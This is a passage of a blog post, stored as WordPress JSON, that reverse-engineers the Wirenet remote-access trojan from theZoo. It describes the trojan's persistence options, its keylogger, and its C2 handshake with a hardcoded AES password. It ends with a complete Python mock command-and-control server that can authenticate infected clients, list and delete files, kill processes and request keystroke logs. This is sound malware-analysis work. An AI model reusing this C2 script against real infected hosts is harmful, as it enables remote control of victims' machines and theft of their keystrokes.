keystrokes are registered,<\/li>\n\n\n\n<li>a byte (set to 0x237) used as a bitfield who specifies which options are activated.<\/li>\n<\/ul>\n\n\n\n<p>The next function is InstallHost:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"741\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_InstallHost1-1024x741.png\" alt=\"\" class=\"wp-image-38\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_InstallHost1-1024x741.png 1024w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_InstallHost1-300x217.png 300w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_InstallHost1-768x555.png 768w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_InstallHost1.png 1174w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>What this function does depends on value of boolSettingByte (see above). InstallHost uses the IsOptionEnabled to test whether an option is enabled or not, each option being represented by a bit of boolSettingByte.<\/p>\n\n\n\n<p>For instance, if IsOptionEnabled &amp; 0x08 is not zero, than persistency via autostart is activated, and an entry is added to $HOME\/.config\/autostart directory, which is a common persistency mechanism in Ubuntu distribution.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"784\" height=\"794\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenetInstallHost2.png\" alt=\"\" class=\"wp-image-39\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenetInstallHost2.png 784w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenetInstallHost2-296x300.png 296w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenetInstallHost2-768x778.png 768w\" sizes=\"auto, (max-width: 784px) 100vw, 784px\" \/><\/figure>\n\n\n\n<p>To following functionalities or behaviour can be activated by the boolSettingByte:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The malware can itself into $HOME\/WIFIADAPT file.<\/li>\n\n\n\n<li>Persistency via $HOME\/.config\/autostart directory,<\/li>\n\n\n\n<li>Persistency via the $HOME\/.xinitrc file,<\/li>\n\n\n\n<li>Keystrokes logging functionality,<\/li>\n\n\n\n<li>The malware can daemonize itself via calling setsid() function, who creates a new session dedicated to wirenet.<\/li>\n<\/ul>\n\n\n\n<p>Once the installation process is finalized, wirenet intializes a mutual authentication with the C2 before being able to handle C2 request.<\/p>\n\n\n\n<p>The mutual authentication uses the following procedure:<\/p>\n\n\n\n<p>Client authentication:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>wirenet randomly chooses an Initialization Vector and a Salt using the function GenerateRandomData<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"629\" height=\"751\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_GenerateRandomData.png\" alt=\"\" class=\"wp-image-40\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_GenerateRandomData.png 629w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_GenerateRandomData-251x300.png 251w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>wirenet computes a 256-bits AES key using the function Calculate. This function derivates the key from the hardcoded-password \u00ab\u00a0sm0k4s523syst3m523\u00a0\u00bb and the randomly chosen salt.<\/li>\n\n\n\n<li>wirenet encrypts a test packet, set to \u00ab\u00a0RGI28DQ30QB8Q1F7\u00a0\u00bb with AES in CFB mode, using the initialization vector and the key<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"751\" height=\"371\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_CFB.png\" alt=\"\" class=\"wp-image-41\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_CFB.png 751w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_CFB-300x148.png 300w\" sizes=\"auto, (max-width: 751px) 100vw, 751px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list\">\n<li>wirenet sends a packet containing the salt, the IV and the encrypted test packet<\/li>\n\n\n\n<li>the C2 derivates the wirenet AES key using the salt and the password, and decrypts the encrypted test packet using this key and the client IV<\/li>\n<\/ul>\n\n\n\n<p>Server authentication:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The server generates its own salt and uses it to derivate an AES key. The derivation mechanism uses the same function and the same password as wirenet.<\/li>\n\n\n\n<li>The server encrypts the test packet using its own AES key and the client IV<\/li>\n\n\n\n<li>Finally, it sends a packet who contains its salt and the encrypted test packet<\/li>\n<\/ul>\n\n\n\n<p>Once authentication is done, all the packets are encrypted. Both wirenet and the C2 use the IV generated by wirenet, but the AES key differs (wirenet uses its AES key and C2 uses its own).<\/p>\n\n\n\n<p>The packets exchanged between wirenet and the C2 share the same structure:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-a957c672634c7052a5d27acd64ab1dee\"><code>&lt;---------- 4 bytes ----------&gt;&lt;--- 1 byte ---&gt;\n+------------------------------+--------------+-------------------+\n| encrypted_payload length + 1 | command_type | encrypted_payload |\n+------------------------------+--------------+-------------------+<\/code><\/pre>\n\n\n\n<p>The command_type byte can take these values:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>12: list directory<\/li>\n\n\n\n<li>22: rename a file<\/li>\n\n\n\n<li>23: delete a file<\/li>\n\n\n\n<li>24: create a directory<\/li>\n\n\n\n<li>34: get session-related information<\/li>\n\n\n\n<li>36: list process<\/li>\n\n\n\n<li>38: kill a process<\/li>\n\n\n\n<li>39: list windows<\/li>\n\n\n\n<li>49: take a screenshot<\/li>\n<\/ul>\n\n\n\n<p>This list is not complete and other commands exist, allowing the operator to activate the keylogger, steal the browser password, execute a process\u2026<\/p>\n\n\n\n<p>Command incoming from the C2 are processed in the ProcessData which is essentially a giant switch over command_type, each command being processed by a specific function.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"378\" src=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ProcessData-1024x378.png\" alt=\"\" class=\"wp-image-42\" srcset=\"https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ProcessData-1024x378.png 1024w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ProcessData-300x111.png 300w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ProcessData-768x283.png 768w, https:\/\/tolva.fr\/wp-content\/uploads\/2023\/11\/wirenet_ProcessData.png 1443w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Finally, reversing wirenet allows the develop a moke-C2 in python:<\/p>\n\n\n\n<pre class=\"wp-block-code alignwide has-background-color has-foreground-background-color has-text-color has-background has-link-color has-small-font-size wp-elements-71b7f235ee3f3d147089fd8e33bb71e4\"><code>#!\/usr\/bin\/env python3\n\nimport socket\nfrom Crypto.Cipher import AES\n\n# Some harcoded elements\npassword = b'sm0k4s523syst3m523'\ntest_packet = b'RGI28DQ30QB8Q1F7'\nserver_salt = b'saltsaltsaltsaltsaltsaltsaltsalt'\n\n# Some general purpose functions\n\n## Print hexa reprsentation of a bytes buffer without ASCII interpretation\ndef printhex(msg, buffer):\n\tstr_buffer = \"\"\n\tfor i in range(len(buffer)):\t\n\t\tc = hex(buffer&#91;i])\n\t\td = c&#91;2:]\n\t\te = d.zfill(2)\n\t\tf = \"\\\\x\" + e\t\t\n\t\tstr_buffer += f\n\tprint(\"%s %s\" % (msg, str_buffer) )\n\n## Parse output of directory listing command (12)\ndef filelisting_beautifyer(raw_output):\n\toutput = raw_output.decode(\"utf-8\")\n\n\tbeautiful_output = \"\"\n\n\toffset = 0\n\twhile offset &lt; len(output) - 1:\n\n\t\tif output&#91;offset] == '1':\n\t\t\tcurrent_separator = output&#91;offset : offset + 2]\n\t\t\toffset +=2\n\t\telse:\n\t\t\tcurrent_separator = output&#91;offset : offset + 1]\n\t\t\toffset +=1\n\n\t\ta = output.find('\\x07', offset)\n\t\tb = output.find('\\x07', a + 1)\n\t\tc = output.find('\\x07', b + 1)\n\n\t\tif current_separator == '0':\n\t\t\td = output.find('\\x07', c + 1)\n\t\t\tc = d\n\n\t\tif current_separator == '0':\n\t\t\tline_with_type = \"f \"\n\t\telse:\n\t\t\tline_with_type = \"d \"\n\n\t\tline = output&#91;offset : c - 1]\n\t\tline_with_type += line.replace('\\x07', ' ')\n\n\t\tbeautiful_output += line_with_type\n\t\tbeautiful_output += \"\\n\"\n\t\toffset = c + 1\n\n\treturn beautiful_output.strip()\n\n## Parse output of process listing command (36)\ndef proclisting_beautifyer(raw_output):\n\toutput = raw_output.decode(\"utf-8\")\n\n\tbeautiful_output = \"\"\n\n\toffset = 0\n\twhile offset &lt; len(output) - 1:\n\n\t\ta = output.find('\\x07', offset)\n\t\tb = output.find('\\x07', a + 1)\n\t\tc = output.find('\\x07', b + 1)\n\t\td = output.find('\\x07', c + 1)\n\n\t\tline = output&#91;offset : d - 1]\n\t\t#print(line)\n\t\tpretty_line = line.replace('\\x07', ' ')\n\n\t\tbeautiful_output += pretty_line\n\t\tbeautiful_output += \"\\n\"\n\t\toffset = d + 1\n\n\treturn beautiful_output.strip()\n\n# Some crypto-related functions\n\n## Derivate a 32-bytes secret key from a salt\ndef derivateKey(salt):\n\n\tbuffer = b''\n\n\tfor i in range(len(password)):\n\t\tx = int(password&#91;i])\n\t\ty = ((x &amp; 0xF0) &gt;&gt; 4) | ((x &amp; 0x0F) &lt;&lt; 4)\n\t\tbuffer += y.to_bytes(1, 'big')\n\n\tfor i in range(len(password), 32):\n\t\tj = i &amp; (8 * i | (i &gt;&gt; 5))\n\t\tbuffer += j.to_bytes(1, 'big')\n\n\ta1 = buffer&#91;len(password) &gt;&gt; 2]\n\tv10 = len(password) ^ a1\n\n\toutput_list = &#91;]\n\tfor j in range(32):\n\t\tv4 = salt&#91;j]\n\t\tv10 = buffer&#91;j] ^ (0xFF &amp; v10)\n\t\toutput_list += (v4 ^ v10).to_bytes(1, 'big')\n\t\tv11 = v4 ^ v10\n\t\tv12 = 4 * (v4 ^ v10)\n\t\tv12 = salt&#91;j] ^ v12\n\t\tv4 = j ^ (j + len(password)) | (v11 &gt;&gt; 5) | (8 * v11)\n\t\toutput_list&#91;j] = (v4 &amp; 0xFF).to_bytes(1, 'big')\n\t\tv10 = ~v12\n\n\toutput = b''.join(output_list)\n\treturn output\n\n## AES-CFB encryption\ndef aes_encrypt_packet(key, iv, plaintext_packet):\n\tcipher = AES.new(key, AES.MODE_CFB, iv, segment_size = 128)\n\tencrypted_packet = cipher.encrypt(plaintext_packet)\n\treturn encrypted_packet\n\n## AES-CFB decryption\ndef aes_decrypt_packet(key, iv, encrypted_packet):\n\tcipher = AES.new(key, AES.MODE_CFB, iv, segment_size = 128)\n\tdecrypted_packet = cipher.decrypt(encrypted_packet)\n\treturn decrypted_packet\n\n# Packets parsing functions\n\n## Commands dictionaries\nserver_type_dict = {1: \"ping request\", 6: \"client update\", 7:\"stop client\", 8: \"reconnect server\", 9: \"uninstall client\", 12: \"file listing request\", 22: \"file renaming request\", 23: \"file deletion request\", 24: \"dir create request\", 32: \"wirenet config request\", 34: \"get session info\", 36: \"process listing request\", 38: \"process killing request\", 39: \"window listing request\", 53: \"keystrokes log request\"}\nclient_type_dict = {1: \"ping response\", 2: \"heartbeat\", 3: \"client handshake\", 5: \"client fingerprinting\", 12: \"file listing response\", 32: \"wirenet config response\", 34: \"get sesion info\", 36: \"process listing response\", 39: \"window listing response\"}\n\ndef usage():\n\tprint(\"commands:\")\n\tfor i, key in enumerate(server_type_dict):\n\t\tprint(\"%r: %r\" %(key, server_type_dict&#91;key]))\n\n## Says if a client command exists\ndef is_client_type_allowed(command):\n\treturn command in client_type_dict\n\n## Says if a server command exists\ndef is_server_type_allowed(command):\n\treturn command in server_type_dict\n\n## Basic consistency check on a client packet:\n## - actual length vs declared length\n## - command check\ndef client_packet_consistency_check(conn, packet):\n\n\t# packet shall be at least 5 bytes long\n\tpacket_len = len(packet)\n\tif packet_len &lt; 5:\n\t\tprint(\"client packet is too short\")\n\t\treturn (-1, packet)\n\n\t# packet structure is:\n\t# - 4 bytes (payload length, little endian)\n\t# - 1 byte (command)\n\t# - payload\n\tpacket_payload_len = int.from_bytes(packet&#91;:4], byteorder='little')\n\n\t# check if declared length and actual length are consistent\n\tif packet_len != packet_payload_len + 4:\n\t\tprint(packet)\n\t\tprint(\"client packet length field and actual length are not consistent (%r vs %r), let's see if there is a remainder...\" % (packet_len, packet_payload_len + 4))\n\n\t\t# if not maybe the remainder of packet has been sent in another TCP packet\n\t\tremainder = conn.recv(16384)\n\t\tprint(\"remainder: %r (%r bytes)\" % (remainder, len(remainder)) )\n\t\tpacket += remainder\n\n\t\t# then check lengths consistency again\n\t\tpacket_payload_len = int.from_bytes(packet&#91;:4], byteorder='little')\n\t\tif packet_len != packet_payload_len + 4:\n\t\t\tprint(\"client packet length field and actual length are not still consistent (%r vs %r)\" % (packet_len, packet_payload_len + 4))\n\t\t\treturn (-1, packet)\n\n\t# check if client command is legit\n\tpacket_request_type = int.from_bytes(packet&#91;4:5], byteorder='little')\n\tif is_client_type_allowed(packet_request_type) == False:\n\t\tprint(\"client packet type is unknown (%r)\" % packet_request_type)\n\t\treturn (-1, packet)\n\n\treturn (packet_request_type, packet)\n\n## Process a client handshake packet (type = 5)\ndef process_client_handshake(packet):\n\tglobal client_iv\n\tglobal client_key\n\n\t# extract client_salt, client_iv and encrypted payload\n\tclient_salt = packet&#91;5 : 5 + 32]\n\tclient_iv = packet&#91;5 + 32 : 5 + 32 + 16]\n\tclient_encrypted_test_packet = packet&#91;5 + 32 + 16 : 5 + 32 + 16 + 16]\n\n\tprinthex(\"client_salt: \", client_salt)\n\tprinthex(\"client_iv: \", client_iv)\n\tprinthex(\"Encrypted Test Packet: \", client_encrypted_test_packet)\n\n\t# derivate the client AES key from client_salt\n\tclient_key = derivateKey(client_salt)\n\tprinthex(\"recomputed client_key: \", client_key)\n\n\t# then decrypt the client packet\n\tclient_test_packet = aes_decrypt_packet(client_key, client_iv, client_encrypted_test_packet)\n\tprint(\"client test packet: %s\" % client_test_packet)\n\n\t# client handshake payload is supposed to be a fix test vector\n\tif client_test_packet == test_packet:\n\t\tprint(\"client authenticated successfully!\")\n\t\treturn True\n\telse:\n\t\tprint(\"client didn't manage to authenticate:-(\")\n\t\treturn False\n\n## Function to build and send a packet\n## - conn: where the packet shall be sent\n## - server_packet_type: the server packet type to use\n## - payload: ...well, the payload to use\ndef send_server_packet(conn, server_packet_type, payload):\n\n\t# packet = (payload length) + (packet type) + payload\n\tserver_packet = (len(payload) + 1).to_bytes(4, 'little') + server_packet_type.to_bytes(1, 'little') + payload\n\tprinthex(\"sending packet: \", server_packet)\n\tconn.sendall(server_packet)\n\n## Function to build server handshake packet\ndef send_server_handshake(conn):\n\n\tglobal client_iv\n\tglobal authenticated\n\tglobal server_key\n\tprinthex(\"client_iv: \", client_iv)\n\n\t# derivate server_key from server_salt\n\tserver_key = derivateKey(server_salt)\n\tprinthex(\"server_key: \", server_key)\n\n\t# the client expects us to send the test vector, encrypted with the server_key, and its own IV\n\tserver_encrypted_test_packet = aes_encrypt_packet(server_key, client_iv, test_packet)\n\tprinthex(\"server_encrypted_test_packet: \", server_encrypted_test_packet)\n\n\t# once done, send the packet\n\tsend_server_packet(conn, 5, server_salt + server_encrypted_test_packet + b'PADDPADDPADDPADD')\n\tprint(\"server handshake message sent...\")\n\n## Decrypt a client packet\ndef decrypt_client_packet(packet):\n\n\tglobal client_iv\n\tglobal client_key\n\n\tclient_plaintext_packet = aes_decrypt_packet(client_key, client_iv, packet)\n\treturn client_plaintext_packet\n\n## Process a client packet\n## - Handle authentication state:\n##\t\t- process client handshake, and return server handshake as a response\n##\t\t- client sends a fingerprinting report upon successful handshake\n## - If handshake has been done, decrypt and display the client packet\ndef client_packet_process(conn, packet):\n\n\tglobal authenticated\n\n\tpacket_payload_len = int.from_bytes(packet&#91;:4], byteorder='little')\n\tpacket_request_type = int.from_bytes(packet&#91;4:5], byteorder='little')\n\n\tif packet_request_type == 3:\n\t\tif process_client_handshake(packet) == True:\n\t\t\tsend_server_handshake(conn)\n\n\tif packet_request_type == 5:\n\t\tprint(\"client sent fingerprinting information, handshake successful!\")\n\t\tif authenticated == False:\n\t\t\tauthenticated = True\n\n\tif authenticated == True and packet_request_type != 2:\n\t\tclient_plaintext_packet = decrypt_client_packet(packet&#91;5:])\n\t\tclient_plaintext_packet_process(packet_request_type, client_plaintext_packet)\n\n## Process a decrypted client packet into according to its packet type\ndef client_plaintext_packet_process(packet_request_type, client_plaintext_packet):\n\n\ttry:\n\t\t# fingerprint response\n\t\tif packet_request_type == 5:\n\t\t\tprint(\"\\nclient fingerprint:\\n\" + client_plaintext_packet.decode(\"utf-8\"))\n\t\t# directory listing response\n\t\telif packet_request_type == 12:\n\t\t\tprint(filelisting_beautifyer(client_plaintext_packet))\n\t\t# client configuration response\n\t\telif packet_request_type == 32:\n\t\t\tprint(\"\\nclient configuration:\\n\" + client_plaintext_packet.decode(\"utf-8\"))\n\t\t# client configuration response\n\t\telif packet_request_type == 34:\n\t\t\tprint(\"\\nget session info:\\n\" + client_plaintext_packet.decode(\"utf-8\"))\n\t\t# process listing response\n\t\telif packet_request_type == 36:\n\t\t\tprint(proclisting_beautifyer(client_plaintext_packet))\n\t\telse:\n\t\t\tprint(\"decrypted data from client request %d: %r\" % (packet_request_type, client_plaintext_packet))\n\texcept UnicodeDecodeError:\n\t\tprint(\"could not properly decode client packet %r, here is raw content: %r\" % (packet_request_type, client_plaintext_packet))\n\n## Build a server packet according to its command type\n## Encrypt payload then call send_server_packet to build &amp; send the packet\ndef send_server_command(server_command, conn):\n\n\tglobal client_iv\n\tglobal server_key\n\n\t# stop command\n\tif server_command == 7:\n\t\tserver_payload = b''\n\n\t# reconnect command\n\tif server_command == 8:\n\t\tserver_payload = b''\n\n\t# uninstall command\n\tif server_command == 9:\n\t\tserver_payload = b''\n\n\t# directory listing command\n\telif server_command == 12:\n\t\tpath_to_list = input(\"Enter a path: \")\n\t\tserver_payload = bytes(path_to_list, 'ascii')\n\n\t# file renaming command\n\telif server_command == 22:\n\t\told_name = input(\"Enter old file name: \")\n\t\tnew_name = input(\"Enter new file name: \")\n\t\tserver_payload = bytes(old_name, 'ascii') + b'\\x07' + bytes(new_name, 'ascii') + b'\\x07'\n\n\t# file deletion command\n\telif server_command == 23:\n\t\tfile_to_delete = input(\"Enter a file: \")\n\t\tserver_payload = file_to_delete\n\n\t# directory creation command\n\telif server_command == 24:\n\t\tdir_to_create = input(\"Enter a path: \")\n\t\tserver_payload = bytes(dir_to_create, 'ascii')\n\n\t# client request command\n\telif server_command == 32:\n\t\tserver_payload = b''\n\n\t# get session info command\n\telif server_command == 34:\n\t\tserver_payload = b''\n\n\t# process listing command\n\telif server_command == 36:\n\t\tserver_payload = b''\n\n\t# process killing command\n\telif server_command == 38:\n\t\tpid_to_kill = input(\"Enter a pid: \")\n\t\tserver_payload =  bytes(pid_to_kill, 'ascii')\n\n\t# windows listing command\n\telif server_command == 39:\n\t\tserver_payload = b''\n\n\t# keystroke log command\n\telif server_command == 53:\n\t\tserver_payload = b''\n\n\telse:\n\t\tserver_payload = b''\n\n\t# encrypt the command-specific payload\n\tencrypted_server_request = aes_encrypt_packet(server_key, client_iv, server_payload)\n\n\t# build the packet from its encrypted payload and command then send it\n\tsend_server_packet(conn, server_command, encrypted_server_request)\n\ndef run_c2_wirenet():\n\n\tglobal authenticated\n\n\t# Start to listen\n\ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\ts.bind(('', 4141))\n\ts.listen(5)\n\n\twhile True:\n\n\t\tauthenticated = False\n\t\tconn, addr = s.accept()\n\t\tconn.setblocking(True)\n\n\t\t# Someone said hello\n\t\tprint(\"New connection from %s\\n\" % addr&#91;0])\n\n\t\twhile True:\n\t\t\t# receive incoming packet\n\t\t\tpacket = conn.recv(16384)\n\t\t\tif not packet:\n\t\t\t\tprint(\"no data received\")\n\t\t\t\tbreak\n\n\t\t\t# perform consistency check\n\t\t\t(packet_request_type, packet) = client_packet_consistency_check(conn, packet)\n\t\t\tif packet_request_type != -1:\n\t\t\t\tprint(\"received packet %r (%r)\" %(packet_request_type, client_type_dict&#91;packet_request_type]) )\n\n\t\t\t# process the client packet\n\t\t\tclient_packet_process(conn, packet)\n\n\t\t\t# once authenticated, wait for an operator command\n\t\t\tif authenticated == True:\n\t\t\t\tcommand_str = input(\"Enter a command: \")\n\t\t\t\tif command_str == 'h':\n\t\t\t\t\tusage()\n\t\t\t\telse:\n\t\t\t\t\tcommand = int(command_str)\n\t\t\t\t\tif is_server_type_allowed(command) == True:\n\t\t\t\t\t\tsend_server_command(command, conn)\n\n\t\tprint(\"closing connection\")\n\t\tconn.close()\n\n\tprint(\"stopping C2\")\n\ndef main():\n\trun_c2_wirenet()\n\nif __name__ == \"__main__\":\n\tmain()<\/code><\/pre>\n\n\n\n<p>that&rsquo;s all folk!<\/p>\n\n\n\n<div class=\"wp-block-group is-layout-flow wp-block-group-is-layout-flow\" style=\"padding-top:30px;padding-right:30px;padding-bottom:30px;padding-left:30px\">\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-28f84493 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:50%\">\n<div class=\"wp-block-query is-layout-flow wp-block-query-is-layout-flow\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Like many peoples how wishing to level up in reverse engineering, i recently attempted to reverse a malware. I therefore cloned theZoo (https:\/\/github.com\/ytisf\/theZoo), and started analyzing a randomly chosen sample. This sample occured to be a wirenet sample. Wirenet, which is a malware targeting Linux and MacOS, was discovered around 2013 and has already been [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-18","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts\/18","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/comments?post=18"}],"version-history":[{"count":21,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts\/18\/revisions"}],"predecessor-version":[{"id":60,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/posts\/18\/revisions\/60"}],"wp:attachment":[{"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/media?parent=18"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/categories?post=18"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tolva.fr\/index.php\/wp-json\/wp\/v2\/tags?post=18"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}